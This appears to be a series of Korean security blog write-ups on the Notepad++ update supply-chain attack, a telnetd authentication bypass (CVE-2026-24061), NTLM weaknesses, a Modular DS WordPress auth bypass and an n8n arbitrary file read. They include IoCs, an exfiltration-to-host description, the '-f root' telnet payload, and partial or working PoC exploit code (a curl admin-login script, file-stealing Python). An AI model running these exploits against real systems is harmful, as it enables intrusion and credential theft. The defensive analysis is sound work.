1. 개요

- Notepad++ 업데이트 인프라가 침해되어 악성 업데이트가 배포된 공급망 공격이 25.07~25.12까지 지속됨

- Notepad++ 업데이트 서버가 호스팅 제공업체 수준에서 침해되어 업데이트 트래픽을 가로채고 악성 바이너리 유포

- 총 세 가지 공격 체인이 확인되었으며, 각 공격 체인은 서로 다른 악성 IP, 도메인 네임, 실행 방식, 페이로드를 사용

2. 주요내용

- 26.02.02 Notepad++는 업데이트 서버가 호스팅 제공업체 수준에서 침해되었다고 발표 [1]

> 침해기간은 25.06~09이며, 25.12까지 내부 서비스 접근 지속

> Notepad++ 코드 자체의 취약점이 아닌 호스팅 업체가 침해되어, 특정 사용자에게만 악성 업데이트가 선택적으로 전달

 

- Kaspersky는 25.07~10까지 C2 IP, 다운로더, 페이로드를 지속적으로 교체하며 공격해 온 것을 확인 [2]

> 베트남·엘살바도르·호주 개인 사용자, 필리핀 정부기관, 엘살바도르 금융 기관, 베트남 IT 서비스 기업 등을 대상으로하며, 총 12대 PC가 감염

[사진 1] 타임라인

2.1 감염 체인 #1 (2025.07 말 ~ 08 초)

- hxxp://45.76.155[.]202/update/update.exe에서 악성 업데이트 파일 다운로드

> 정상 프로세스 GUP.exe에 의해 실행되며, 시스템 정보(whoami, tasklist) 수집 후 hxxps://temp[.]sh에 업로드

파일명 SHA1
update.exe 8e6e505438c21f3d281e1cc257abdbf7223b7f5a
90e677d7ff5844407b9c073e3b7e896e078e11cd

 

- 이후, %appdata%\ProShow 폴더에 여러 파일을 드롭하고 ProShow.exe 실행

> 2010년대 알려진 ProShow 취약점을 악용해 load 파일 내 Metasploit 다운로더 실행

> hxxps://45.77.31[.]210/users/admin에서 Cobalt Strike Beacon 셸코드를 가져와 실행

드롭 파일명 SHA1
ProShow.exe defb05d5a91e4920c9e22de2d81c5dc9b95a9a7c
defscr 259cd3542dea998c57f67ffdd4543ab836e3d2a3
if.dnt 46654a7ad6bc809b623c51938954de48e27a5618
proshow.crs -
proshow.phd -
proshow_e.bmp 9df6ecc47b192260826c247bf8d40384aa6e6fd6
load 06a6a5a39193075734a32e0235bde0e979c27228

※ load 파일을 제외한 나머지 파일은 정상 파일

 

- 8월 초에는 동일 체인으로 cdncheck.it[.]com 도메인을 이용한 변종이 관찰

 

2.2 감염 체인 #2 (2025.09 중순 ~ 하순)

- 동일 URL에서 update.exe 다운로드

파일명 SHA1
update.exe 573549869e84544e3ef253bdba79851dcde4963a
13179c8f19fbf3d8473c49983a199e6cb4f318f0

 

> %APPDATA%\Adobe\Scripts 폴더에 파일 드롭

> 세부 시스템 정보 수집(whoami&&tasklist&&systeminfo&&netstat -ano) 후 hxxps://temp[.]sh에 업로드

드롭 파일명 SHA1
alien.dll 6444dab57d93ce987c22da66b3706d5d7fc226da
lua5.1.dll 2ab0758dda4e71aee6f4c8e4c0265a796518f07d
script.exe bf996a709835c0c16cce1015e6d44fc95e08a38a
alien.ini ca4b6fe0c69472cd3d63b212eb805b7f65710d33

※ alien.ini 파일을 제외한 나머지 파일은 정상 파일

 

- Lua 인터프리터를 사용해 alien.ini 내 쉘코드 실행

> Metasploit 다운로더가 hxxtps://cdncheck.it[.]com/users/admin에서 Cobalt Strike Beacon 다운로드

 

- 9월 말에는 업로드 URL이 hxxps://self-dns.it[.]com/list, C2 서버가 safe-dns.it[.]com으로 변경된 변종 등장

 

2.3 감염 체인 #3 (2025.10)

- hxxp://45.32.144[.]255/update/update.exe에서 update.exe 다운로드

파일명 SHA1
update.exe d7ffd7b588880cf61b603346a3557e7cce648c93

 

> %appdata%\Bluetooth\ 디렉터리에 파일 드롭

드롭 파일명 SHA1
BluetoothService.exe 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed
log.dll f7910d943a013eede24ac89d6388c1b98f8b3717
BluetoothService 7e0790226ea461bcc9ecd4be3c315ace41e1c122

※ BluetoothService.exe 정상 파일

 

- DLL 사이드로딩으로 log.dll이 BluetoothService 쉘코드 실행 [3]

> 최종 페이로드는 Chrysalis 백도어와 유사한 구조

 

2.4 감염 체인 #4 (2025.10 중순 ~ 말)

- hxxp://45.32.144[.]255/update/update.exe에서 파일 다운로드

파일명 SHA1
update.exe 821c0cafb2aab0f063ef7e313f64313fc81d46cd

 

- 기존 self-dns.it[.]com, safe-dns.it[.]com 도메인 재사용

- 10월 말에는 install.exe, AutoUpdater.exe 등 파일명으로 변형

3. 결론 및 권고

- Notepad++는 보안 강화를 위해 다음과 같은 조치를 취함

> 보안 수준이 높은 새로운 호스팅 업체로 이전

> 8.8.9 버전에서 다운로드한 설치 프로그램의 인증서와 서명을 모두 검증하는 등 업데이트 프로그램 개선

> 8.9.2 버전부터는 인증서 및 서명 검증이 의무화될 예정

 

- 탐지 및 대응 권고 사항

> NSIS 인스톨러 생성 로그(%localappdata%\Temp\ns.tmp) 확인

> temp[.]sh 도메인 통신 및 User-Agent 내 URL 포함 요청 탐지

> whoami, tasklist, systeminfo, netstat -ano 명령 실행 흔적 점검

> IoC 목록 기반 악성 도메인 및 파일 해시 탐색 [2][3]

4. 참고

[1] https://notepad-plus-plus.org/news/hijacked-incident-info-update/
[2] https://securelist.com/notepad-supply-chain-attack/118708/
[3] https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/
[4] https://news.hada.io/topic?id=26348
[5] https://news.hada.io/topic?id=26399
[6] https://www.boannews.com/media/view.asp?idx=142022&page=2&kind=3
[7] https://www.dailysecu.com/news/articleView.html?idxno=205027

1. telnetd

- Telnet을 사용해 원격에서 시스템에 접속할 수 있도록 지원하는 유닉스 및 리눅스 시스템의 서버 데몬

- TCP 23번 포트를 사용하며, 암호화 기능이 없음

※ GNU Inetutils : GNU 프로젝트에서 개발한 네트워크 프로그램 모음 [1]

2. 취약점

[사진 2] CVE-2026-24061 [2]

- telnetd가 사용자 인증을 처리하는 과정에서 USER 환경 변수를 검증 없이 로그인 프로그램에 전달하여 발생하는 인증 우회 취약점 (CVSS: 9.8)

영향받는 버전
1.9.3 ≤ GNU Inetutils telnetd ≤ 2.7

 

- telnetd는 원격 클라이언트가 Telnet으로 접속하면 내부적으로 /usr/bin/login를 호출사용자 인증을 처리 [3]

> 이때, 사용자명은 USER 환경 변수 값을 기반으로 전달되며, 일반적으로 아래와 같은 형식으로 로그인됨

/bin/login -p <username>

 

- 그러나 telnetd가 USER 환경 변수 값을 사용자 이름으로만 가정하고, 해당 값이 login 프로그램의 옵션으로 해석될 수 있는 문자열인지 여부를 검증하지 않음

...
    case 'U':
      return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
...

 

- 공격자가 Telnet 접속 시 USER 환경 변수의 값을 "-f root"로 제공할 경우 인증을 우회하여 root 권한을 획득할 수 있음

> f 옵션인증을 건너뛰고 해당 사용자로 바로 로그인하는 옵션

[사진 3] login -f 옵션

- 공격자는 아래 과정을 거쳐 root 권한으로 로그인 가능

root@kaka:~ sudo apt-get install inetutils-telnetd telnet
root@kaka:~ sudo sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf
root@kaka:~ sudo /etc/init.d/inetutils-inetd start
root@kaka:~ USER='-f root' telnet -a localhost
...
root@kaka:~#

 

2.1 PoC

- 대상 host:port에 -f root 페이로드를 사용해 Telnet 연결 시도 [4]

...

def main():
    args = parse_arguments()
    user_payload = "-f root"
    global waiting_for_newline

    try:
        client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client_sock.settimeout(5)
        client_sock.connect((args.host, args.port))
        client_sock.settimeout(None)
        print(f"[*] Connected to {args.host}:{args.port}")
    except Exception as e:
        print(f"[!] Connection failed: {e}")
        sys.exit(1)

...

3. 대응방안

- 벤더사 제공 업데이트 적용

> 옵션이나 쉘 메타 문자가 포함될 경우 무시하도록 패치 [5][6]

  case 'U':
      {
	/* Ignore user names starting with '-' or containing shell
	   metachars, as they can cause trouble.  */
	char const *u = getenv ("USER");
	return xstrdup ((u && *u != '-'
			 && !u[strcspn (u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
			? u : "");
      }
취약점 제품명 영향받는 버전 해결 버전
CVE-2026-24061 GNU Inetutils telnetd 1.9.3 이상 2.7 이하 2.8

 

- telnetd 서비스 비활성화 및 sshd 서비스로 대체

> 23번 포트 접근 차단

 

- 탐지 정책 적용 [7]

alert tcp $EXTERNAL_NET any -> $HOME_NET 23 ( msg:"ET EXPLOIT CVE-2026-24061 GNU Telnetd User Injection"; flow:to_server,established; # Look for IAC SB NEW-ENVIRON (FF FA 27) content:"|FF FA 27|"; # Look for the USER variable (00 00 or 00 55 53 45 52) content:"USER"; nocase; distance:0; # Look for the -f flag injection content:"-f"; fast_pattern; distance:0; # Look for root or other high-priv users pcre:"/USER.*-f\\s+(root|admin|bin)/smi"; reference:cve,2026-24061; classtype:attempted-admin; sid:1000026; rev:1; )

4. 참고

[1] https://www.gnu.org/software/inetutils/
[2] https://nvd.nist.gov/vuln/detail/CVE-2026-24061
[3] https://seclists.org/oss-sec/2026/q1/89
[4] https://github.com/SafeBreach-Labs/CVE-2026-24061
[5] https://codeberg.org/inetutils/inetutils/commit/fd702c02497b2f398e739e3119bed0b23dd7aa7b
[6] https://codeberg.org/inetutils/inetutils/commit/ccba9f748aa8d50a38d7748e2e60362edd6a32cc
[7] https://www.penligent.ai/hackinglabs/ko/the-zombie-protocol-a-comprehensive-engineering-autopsy-of-cve-2026-24061-gnu-inetutils-auth-bypass/
[8] https://www.safebreach.com/blog/safebreach-labs-root-cause-analysis-and-poc-exploit-for-cve-2026-24061/
[9] https://nsfocusglobal.com/gnu-inetutils-telnetd-remote-authentication-bypass-vulnerability-cve-2026-24061-notice/
[10] https://hackyboiz.github.io/2026/01/24/bekim/2026-01-24/

1. NTLM(NT LAN Manager)

- MS에서 개발한 Challenge-Response 모델 기반 인증 프로토콜로, 주로 Windows 환경에서 사용자 인증에 사용 [1]

[사진 1] NTLM 동작 방식

1.1 인증 과정

- NTLM은 크게 Connection-Oriented 방식Connectionless 방식으로 나뉨 [2]

[사진 2] Connection-Oriented 방식(좌) Connectionless 방식(우)

메시지 설명
NTLM NEGOTIATE_MESSAGE [3] - 클라이언트 어플리케이션에서 인증된 세션이 필요할 경우 전송
- 클라이언트가 인증과정에 필요한 각종 정보(NTLM 버전, 암호화 수준 등)를 포함
NTLM CHALLENGE_MESSAGE [4] - 클라이언트의 환경에 맞춰 서버가 생성한 임의의 Challenge(8Byte) 값을 전달
NTLM AUTHENTICATE_MESSAGE [5] - 클라이언트는 Challenge를 기반으로 Response 값을 계산 및 서버에 전송

 

1.2 Response

- NTLM 인증에서 클라이언트는 서버가 전송한 Challenge 값과 사용자의 패스워드로부터 생성된 NT Hash를 이용해 Response 계산
> NTLM v1 : MD4(Unicode(Password)) 결과 값 16바이트에 패딩 5바이트를 추가해 7바이트씩 3개로 분할하여 각각 DES 암호화를 수행한 값들의 조합 [6]
> NTLM v2 : HMAC-MD5 알고리즘을 사용하며, 클라이언트 생성 난수와 타임스탬프 등 가변적인 데이터를 포함하여 계산 [7]

※ 호환성을 이유로 NTLM v2에서도 MD4(Unicode(Password)) 사용

2. 취약점

- Shodan 검색 결과, 현재 NTLM 인증을 사용하는 것으로 식별되는 국내 자산은 총 6만 6천여 개로 확인

[사진 3] NTLM country:"KR" 검색 결과

2.1 취약한 암호 알고리즘(DES), 해시 알고리즘(MD4) 사용

- DES는 1976년 개발된 암호 알고리즘으로, 56비트 키 길이를 사용하며 현재 컴퓨터 환경에 너무 짧은 키 길이를 사용 [8]

- MD4는 1990년 개발된 128비트 암호화 Hash 함수로, 이미 충돌 공격 및 사전 이미지 공격 가능성이 학술적으로 증명되어 안전하지 않은 알고리즘으로 평가 [9][10]

※ 충돌 공격(Collision Attack) : 같은 해시값을 가지는 서로 다른 입력을 찾아내는 공격

※ 사전 이미지 공격(Pre-image Attack) : 주어진 해시값에 대응하는 원본 입력을 찾아내는 공격

 

2.2 주요 공격 벡터

- Pass-the-Hash : 평문 비밀번호를 몰라도 Hash 값을 획득하여, 해당 Hash를 재전송하여 인증을 통과하는 방식 [11]

> NT Hash를 계산할 때 Salt를 사용하지 않기 때문에 평문 비밀번호를 몰라도 Hash 값을 획득하여 해당 Hash를 재전송함으로써 인증을 통과할 수 있음

[공격 시나리오]
1단계. 초기 침투
- 공격자는 네트워크 내부로 진입하기 위해 사회공학적 기법이나 취약점 이용
> 피싱 이메일을 통한 악성코드 감염
> 취약한 웹 서비스 악용
> 이미 탈취한 계정 정보 재사용

2단계. 로컬 관리자 권한 획득
- 공격자는 대상 시스템에서 관리자 권한을 획득해 인증 정보를 저장하는 메모리 영역에 접근
> 취약 서비스 악용
> 로컬 관리자 계정 재사용
> UAC 우회

3단계. Hash 추출
- 시스템에 침투한 공격자는 메모리 등을 스캐닝한 후 Mimikatz와 같은 도구를 사용하여 메모리에 남아있는 NTLM Hash 추출
> 추출 대상
LSASS(Local Security Authority Subsystem Service) 프로세스 메모리 : 로그인에 성공한 사용자의 Windows 자격 증명에 대한 NTLM Hash가 포함
SAM(Security Account Manager) 데이터베이스 : 로컬 사용자 계정 정보와 Hash된 비밀번호를 저장
도메인 컨트롤러 데이터베이스 (NTDS.dit) : 도메인 내 모든 사용자의 비밀번호 Hash와 권한 정보가 저장

4단계. Hash 재전송 및 인증 우회
- 탈취한 NTLM Hash를 사용해 다른 시스템에 인증 시도

5단계. 횡적 이동 및 권한 상승
- 내부 다른 시스템으로 다른 워크스테이션이나 서버(DB, 파일 서버 등)에 접속 및 관리자 계정 탈취

6단계. 목적 달성 및 은닉
- 데이터 유출 및 지속성 확보

 

- NTLM Relay 공격 : 공격자가 클라이언트와 서버의 중간에 위치하여 Challenge/Response를 가로채 악용하는 중간자 공격 [12]

> 클라이언트와 서버간 상호 인증이 아닌, 클라이언트만 서버에 자신을 증명하는 구조로 중간자 공격이 가능함

[공격 시나리오]
1. LLMNR/NBT-NS 포이즈닝 등을 통해 공격자 서버로 인증을 유도
※ LLMNR (Link-Local Multicast Name Resolution), Nbt-NS (Netbios Name Service)는 호스트/사용자 인증을 거치지 않는 레거시 프로토콜 [13]

2. NTLM 인증 수행
- 클라이언트는 공격자 서버로 NTLM 인증 수행

3. 중간자 공격
- 공격자는 클라이언트와 서버 중간에 위치해 NTLM 메시지를 중계
> 클라이언트 - 공격자 - 서버의 형태

4. 인증 성공
- 공격자는 정상 사용자로 서버에 접근 허용

 

- NTLM Downgrade 공격 등 여러 공격 방식 존재

[공격 시나리오]
1. LLMNR/NBT-NS 포이즈닝 등을 통해 공격자 서버로 인증을 유도

2. NTLM 인증 수행
- 클라이언트는 공격자 서버로 NTLM 인증 수행

3. 중간자 공격
- 공격자는 클라이언트와 서버 중간에 위치해 NTLM NEGOTIATE_MESSAGE를 가로채고 조작하여 서버에 전송
> 낮은 인증 옵션을 사용하도록 메시지 조작

4. 취약한 응답 획득
- 서버는 낮은 인증 옵션으로 클라이언트에 응답 전송

5. 평문 비밀번호 획득
- 오프라인 크래킹 또는 무차별 대입 공격 등을 통해 평문 비밀번호 획득

 

2.3 레인보우 테이블 (해시-평문 대응 정보)

- 구글 맨디언트는 NTLM v1의 레인보우 테이블 공개 (NTLM v1의 빠른 퇴출 목적) [14][15][16]

※ 데이터셋을 활용하면 600달러 미만의 소비자용 하드웨어로도 12시간 이내에 키를 복구할 수 있음

- 공격자는 인증 트래픽을 가로챈 뒤 레인보우 테이블과 대조해보는 것만으로도 암호 획득 가능

 

2.4 MS 공식 발표

- MS는 NTLM 기능을 더 이상 기능 개발 미진행 및 사용이 권장되지 않으며 커버로스 프로토콜 강화 발표

- Windows 11 버전 24H2 및 Windows Server 2025부터 NTLMv1 제거 [17][18]

3. 대응방안

- NTLM v1 비활성화 및 NTLM v2, 커버로스 등 안전한 프로토콜 사용

- 현재 NTLM 인증 수준을 확인하여 3 이상으로 변경 [19]

> 아래 명령을 PowerShell로 실행하여 결과 확인 (관리자 권한 필요)

(Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa").LmCompatibilityLevel

 

의미
0 LM & NTLM 응답 보내기
1 LM & NTLM 보내기(협상된 경우 NTLMv2 세션 보안 사용)
2 NTLM 응답만 보내기
3 NTLMv2 응답만 보내기
4 NTLMv2 응답만 전송, LM 거부
5 NTLMv2 응답만 전송, LM & NTLM 거부

 

Microsoft-Windows-NTLM/Operational 이벤트 로그를 통해 NTLM 사용 현황 모니터링 [20]

4. 참고

[1] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/c50a85f0-5940-42d8-9e82-ed206902e919
[2] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/1bf72e97-a970-482d-90fc-776732fea1be
[3] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b34032e5-3aae-4bc6-84c3-c6d80eadf7f2
[4] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/801a4681-8809-4be9-ab0d-61dcfe762786
[5] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/033d32cc-88f9-4483-9bf2-b273055038ce
[6] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/464551a8-9fc4-428e-b3d3-bc5bfb2e73a5
[7] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/5e550938-91d4-459f-b67d-75d70009e3f3
[8] https://www.boannews.com/media/view.asp?idx=112953
[9] https://iacr.org/workshops/fse2007/slides/md4.pdf
[10] https://www.iacr.org/workshops/fse2008/docs/papers/day_3_sess_2/26_md4_oneway.pdf
[11] https://www.xn--hy1b43d247a.com/lateral-movement/pass-the-hash
[12] https://www.pentestwiki.com/data-theft/windows/ntlm-relay
[13] https://www.xn--hy1b43d247a.com/credential-access/llmnr-nbtns-poisoning
[14] https://www.dailysecu.com/news/articleView.html?idxno=204474
[15] https://www.boannews.com/media/view.asp?idx=141546&page=5&kind=1
[16] https://cloud.google.com/blog/topics/threat-intelligence/net-ntlmv1-deprecation-rainbow-tables?hl=en
[17] https://learn.microsoft.com/en-us/windows/whats-new/deprecated-features
[18] https://support.microsoft.com/en-us/topic/upcoming-changes-to-ntlmv1-in-windows-11-version-24h2-and-windows-server-2025-c0554217-cdbc-420f-b47c-e02b2db49b2e
[19] https://www.kisa.or.kr/2060204/form?postSeq=12&lang_type=KO&page=1
[19] https://support.microsoft.com/ko-kr/topic/windows-11-%EB%B2%84%EC%A0%84-24h2-%EB%B0%8F-2025%EB%85%84-windows-server-ntlmv1%EC%97%90-%EB%8C%80%ED%95%9C-%EC%98%88%EC%A0%95%EB%90%9C-%EB%B3%80%EA%B2%BD-%EB%82%B4%EC%9A%A9-c0554217-cdbc-420f-b47c-e02b2db49b2e
[20] https://elfmfl.tistory.com/
[21] https://hackyboiz.github.io/2024/12/01/mungsul/NTLM_Part1/

요약 - 맨디언트, MS 레거시 인증 프로토콜 Net-NTLMv1'의 레인보우 테이블 데이터셋 공개
- 데이터셋을 활용하면 600달러 미만의 소비자용 하드웨어로도 12시간 이내에 키를 복구할 수 있음
내용 - Mandiant, Net-NTLMv1의 대규모 레인보우 테이블 데이터셋 공개
> 데이터셋을 활용하면 600달러 미만의 소비자용 하드웨어로도 12시간 이내에 키를 복구할 수 있음

- Net-NTLMv1은 사용자의 패스워드를 검증하는 챌린지-응답(Challenge-Response) 방식의 인증 프로토콜
> 암호화 강도가 매우 낮은 DES 알고리즘을 사용
> 해커는 네트워크상의 인증 트래픽을 가로채 테이블과 비교하는 것만으로도 암호를 알아낼 수 있음

- 26.01 기준 NTLM 인증 정보가 노출된 국내 자산은 총 6만3673개에 달하는 것으로 파악
> NTLMv1을 허용하는 경우 레인보우 테이블 공격에 직접 노출
> NTLMv2만 허용하더라도 내부 침투 후 설정 변조를 통한 공격 대상이 될 수 있음

- 그룹 정책(GPO)을 통해 Net-NTLMv1을 강제로 비활성화할 것을 권고
> ‘LAN Manager 인증 수준’을 최소 ‘NTLMv2 응답만 보내기’ 이상으로 설정
> 가능하면 NTLM 자체를 차단하고 커버로스 인증을 전면 도입
기타 -

 

보안뉴스

 

“20년 된 낡은 자물쇠 여전해”... 韓 NTLM 노출 자산 6.3만개 ‘빨간불’

2026년 새해에도 ‘좀비 프로토콜’이 한국의 사이버 공간을 위협하고 있다. 마이크로소프트(MS)가 수년 전부터 사용 중단을 권고해 온 구형 인증 프로토콜 ‘Net-NTLMv1’이 여전히 국내 다수의 서

www.boannews.com

 

맨디언트, ‘Net-NTLMv1’ 퇴출 앞당기려 레인보우 테이블 공개 - 데일리시큐

구글 클라우드 산하 보안 조직 맨디언트가 마이크로소프트의 레거시 인증 프로토콜인 ‘Net-NTLMv1’의 취약성을 더 쉽게 입증할 수 있도록 대규모 레인보우 테이

www.dailysecu.com

 

Releasing Rainbow Tables to Accelerate Protocol Deprecation | Google Cloud Blog

Mandiant aims to lower the barrier for security professionals to demonstrate the insecurity of Net-NTLMv1.

cloud.google.com

 

1. Modular DS (Modular Connector)

- 여러 워드프레스 사이트를 하나의 대시보드에서 관리할 수 있게 해주는 플러그인 [1]

2. 취약점

[사진 1] CVE-2026-23550 [2]

direct request(직접 요청) 모드가 활성화된 상태에서 조작된 요청을 통해 인증을 우회하여 보호된 경로에진입할 수 있는 인증 우회 취약점 (CVSS: 10.0) [3]

영향받는 버전
Modular DS 2.5.1 이하 버전

 

- 민감한 경로에대한 접근은 Route::middeware('auth') 그룹으로 그룹화되어 인증을 강제

> "direct request" 모드가 활성화될 때 인증 메커니즘은 isDirectRequest() 메서드에 의존하기 때문에 우회가 가능함이 확인

> 해당 모드는 "origin" 매개변수가 "mo"인 경우 활성화 가능

> 또한, signature, secret, IP, or mandatory User-Agent 등에 대한 검증이 없음

> 따라서, 요청에 "origin=mo&type=xxx" 매개변수가 포함된 경우 간단히 direct request 모드 활성화 가능

vendor/ares/framework/src/Foundation/Http/HttpUtils.php
public static function isDirectRequest(): bool
    {
        $request = \Modular\ConnectorDependencies\app('request');
        $userAgent = $request->header('User-Agent');
        $userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
        $originQuery = $request->has('origin') && $request->get('origin') === 'mo';
        $isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
        // When is wp-load.php request
        if ($isFromQuery) {
            return \true;
        }
        // TODO Now we use Laravel routes but we can't directly use the routes
        $isFromSegment = \false && $request->segment(1) === 'api' && $request->segment(2) === 'modular-connector';
        if ($isFromSegment) {
            return \true;
        }
        return \false;
    }

 

- 요청이 direct request 모드의 요청일 경우 인증 미들웨어는 validateOrRenewAccessToken()를 통해 해당 사이트가 Modular에 연결되어 있는지 여부만 확인

> 해당 사이트가 이미 Modular에 연결되어 있다면, 누구나 인증 미들웨어를 우회해 로그인, 서버 정보 조회, 관리 기능, 백업 등 민감한 경로에 접근이 가능

 

- getLogin()은 요청의 Body에서 "id" 값을 읽으려 시도

> 만약 해당 값이 비어있을 경우 getAdminUser()를 통해 관리자 사용자를 확보한 후 해당 사용자로 로그인하고 관리자 리디렉션을 반환

src/app/Http/Controllers/AuthController.php
public function getLogin(SiteRequest $modularRequest)
    {
        $user = data_get($modularRequest->body, 'id');

        if (!empty($user)) {
            $user = get_user_by('id', $user);
        }

        if (empty($user)) {
            Cache::driver('wordpress')->forget('user.login');

            $user = ServerSetup::getAdminUser();
        } else {
            Cache::driver('wordpress')->forever('user.login', $user->ID);
        }

        if (empty($user)) {
            // TODO Make a custom exception
            throw new \Exception('No admin user detected.');
        }

        $cookies = ServerSetup::loginAs($user, true);

        return Response::redirectTo(admin_url('index.php'))
            ->withCookies($cookies);
    }

 

2.1 PoC

- $TARGET/?rest_route=/api/modular-connector/login 경로에 {"origin":"mo"} 값을 포함하는 요청 전송 [4]

...

# 대상 설정 및 서버로부터 받은 쿠키를 저장할 임시 파일 생성

TARGET="${1:-http://localhost:8080}"
COOKIE_JAR="cookies.txt"

...

# $TARGET/?rest_route=/api/modular-connector/login 경로
# {"origin":"mo"} 값을 포함하는 POST 요청 전송

# Exploit unauthenticated admin login
echo "[+] Sending origin=mo bypass payload..."
RESPONSE=$(curl -s -w "\nHTTP:%{http_code}" -X POST \
  "$TARGET/?rest_route=/api/modular-connector/login" \
  -H "Content-Type: application/json" \
  -d '{"origin":"mo"}' \
  -c "$COOKIE_JAR")

...

# 저장된 쿠키 파일에서 관리자 세션 쿠키 (wordpress_logged_in_) 문자열 검색
# 발급받은 쿠키를 사용하여 /wp-admin/ 접근 시도
# dashboard나 wp-admin 문구가 포함되어 있다면 관리자 권한 탈취에 성공
# 사용한 임시 쿠키 파일 삭제 및 종료

# Check for admin session cookie
if grep -q "wordpress_logged_in_" "$COOKIE_JAR"; then
  echo "[+] ✅ VULNERABLE! Admin session cookie issued"
  echo "[+] Cookies saved: $COOKIE_JAR"
  
  # Verify wp-admin access
  echo "[+] Testing wp-admin access..."
  DASHBOARD=$(curl -s -b "$COOKIE_JAR" "$TARGET/wp-admin/" | grep -i "dashboard\|wp-admin")
  if [[ -n "$DASHBOARD" ]]; then
    echo "[+] ✅ FULL ADMIN ACCESS CONFIRMED"
    echo "    $DASHBOARD" | head -1
  fi
else
  echo "[-] Not vulnerable - no admin cookie issued"
fi

rm -f "$COOKIE_JAR"
echo "[+] Test complete"

 

[사진 2] 취약점 시연

※ 해당 시연에서 사용한 워드프레스의 경우 Modular와 연결된 적이 없기때문에 404 에러가 발생하는 것으로 판단됨

2.2 CVE 2026-23800

[사진 3] CVE-2026-23800 [5]

- /?rest_route=/wp/v2/users&origin=mo&type=x와 같은 요청 경로를 통해 관리자 권환 획득 가능한 권한 상승 취약점 (CVSS: 10.0)

> CVE-2026-23550 패치이후 발견된 추가 취약점으로, 이를 통해 공격자가 관리자 권한으로 임의의 WordPress REST route를 실행할 수 있음

3. 대응방안

- 벤더사 제공 업데이트 적용 [6]

> URL 기반 라우트 매칭 제거 및 404 기본 라우트 추가

취약점 제품명 영향받는 버전 해결 버전
CVE-2026-23550 Modular DS 2.5.1 이하 버전 2.5.2
CVE-2026-23800 2.6.0 이하 버전 2.6.0

4. 참고

[1] https://modulards.com
[2] https://nvd.nist.gov/vuln/detail/CVE-2026-23550
[3] https://patchstack.com/articles/critical-privilege-escalation-vulnerability-in-modular-ds-plugin-affecting-40k-sites-exploited-in-the-wild/
[4] https://github.com/TheTorjanCaptain/CVE-2026-23550-PoC
[5] https://nvd.nist.gov/vuln/detail/CVE-2026-23800
[5] https://help.modulards.com/en/article/modular-ds-security-releases-modular-connector-260-and-252-dm3mv0/
[6] https://github.com/cyberdudebivash/CYBERDUDEBIVASH-Modular-DS-CVE-2026-23550-Detector
[7] https://www.dailysecu.com/news/articleView.html?idxno=204404

1. n8n

- 노드 기반 워크플로우 자동화 플랫폼 [1][2]

2. 취약점

[사진 1] CVE-2026-21858 [3]

- Content-Type 값을 검증하지 않고 신뢰하여 파싱 로직을 분기하는 설계로 인해, req.body.files 내 파일 경로 조작이 가능해지며 발생하는 임의 파일 읽기 취약점 (CVSS: 10.0)

영향받는 버전
- n8n 1.65.0 이하 버전

 

- n8n은 웹훅 기반으로 사용자 요청을 수신하고, parseRequestBody()에서 Content-Type에 따라 요청 본문 파싱 방식을 결정한 뒤 웹훅 로직 수행 [4]
> multipart/form-data 요청의 경우, parseFormData()-파일 업로드 파서-를 사용해 파일 정보를 req.body.files에 저장
> 다른 유형의 요청의 경우, parseBody()-일반 본문 파서-를 사용하며, 데이터를 req.body에 저장

※ 웹훅(Webhook) : 어떤 서비스나 애플리케이션에서 특정 이벤트가 발생했을 때, 미리 설정된 다른 URL(또는 엔드포인트)로 자동으로 데이터를 보내주는 방식 [5]

[사진 2] parseRequestBody()

- 파일 업로드를 처리하는 웹훅인 formWebhook()

> prepareFormReturnItem()를 호출해 req.body.files에 있는 각 값들을 복사해 임시경로(req.body.files[id].filepath)에 저장

> 이때, 콘텐츠 유형이 multipart/form-data인지 확인하지 않고 호출되기 때문에 req.body.files 객체 전체를 제어할 수 있음

[사진 3] formWebhook()

- 공격자는 Content-Type 헤더 및 Body 값을 조작해 요청 전송
> req.body.files를 덮어써 파일 경로를 제어할 수 있게 되어, 시스템 로컬 파일을 복사할 수 있음

[사진 4] Exploit 예시

2.1 PoC

- 타겟 URL과 웹훅 경로를 받아 Ni8mare 클래스 객체를 생성(Content-Type 및 Body 조작)해 홈 디렉터리, 암호화 키 등을 탈취하는 공격 체인 가동 [6]

...
# Ni8mare 클래스 객체 생성
class Ni8mare:
    def __init__(self, base_url, form_path):
        self.base_url = base_url.rstrip("/")
        self.form_url = f"{self.base_url}/{form_path.lstrip('/')}"
        self.session = requests.Session()
        self.admin_token = None
  ...

2.1.1 임의 파일 읽기

- 조작된 요청으로 서버 내부의 {home}/.n8n/config{home}/.n8n/database.sqlite 파일 탈취

> payload의 filepath를 읽고 싶은 서버 파일 경로로 설정 및 Content-Type 헤더를 application/json 설정
> global:owner 권한을 지닌 사용자의 id, email, password 추출

...
    # /proc/self/environ 파일을 읽어 HOME 디렉터리 경로 획득
    def get_home(self) -> str | None:
        data = self.read_file("/proc/self/environ")
        if not data:
            return None
        for var in data.split(b"\x00"):
            if var.startswith(b"HOME="):
                return var.decode().split("=", 1)[1]
        return None

    # ~/.n8n/config 파일에서 encryptionKey 추출 (n8n-auth 세션 쿠키 서명에 사용됨)
    def get_key(self, home: str) -> str | None:
        data = self.read_file(f"{home}/.n8n/config")
        return json.loads(data).get("encryptionKey") if data else None

    # ~/.n8n/database.sqlite 파일 탈취
        def get_db(self, home: str) -> bytes | None:
        return self.read_file(f"{home}/.n8n/database.sqlite", timeout=120)

    # SQLite DB에서 global:owner 권한을 지닌 사용자의 id, email, password 추출
    def extract_admin(self, db: bytes) -> tuple[str, str, str] | None:
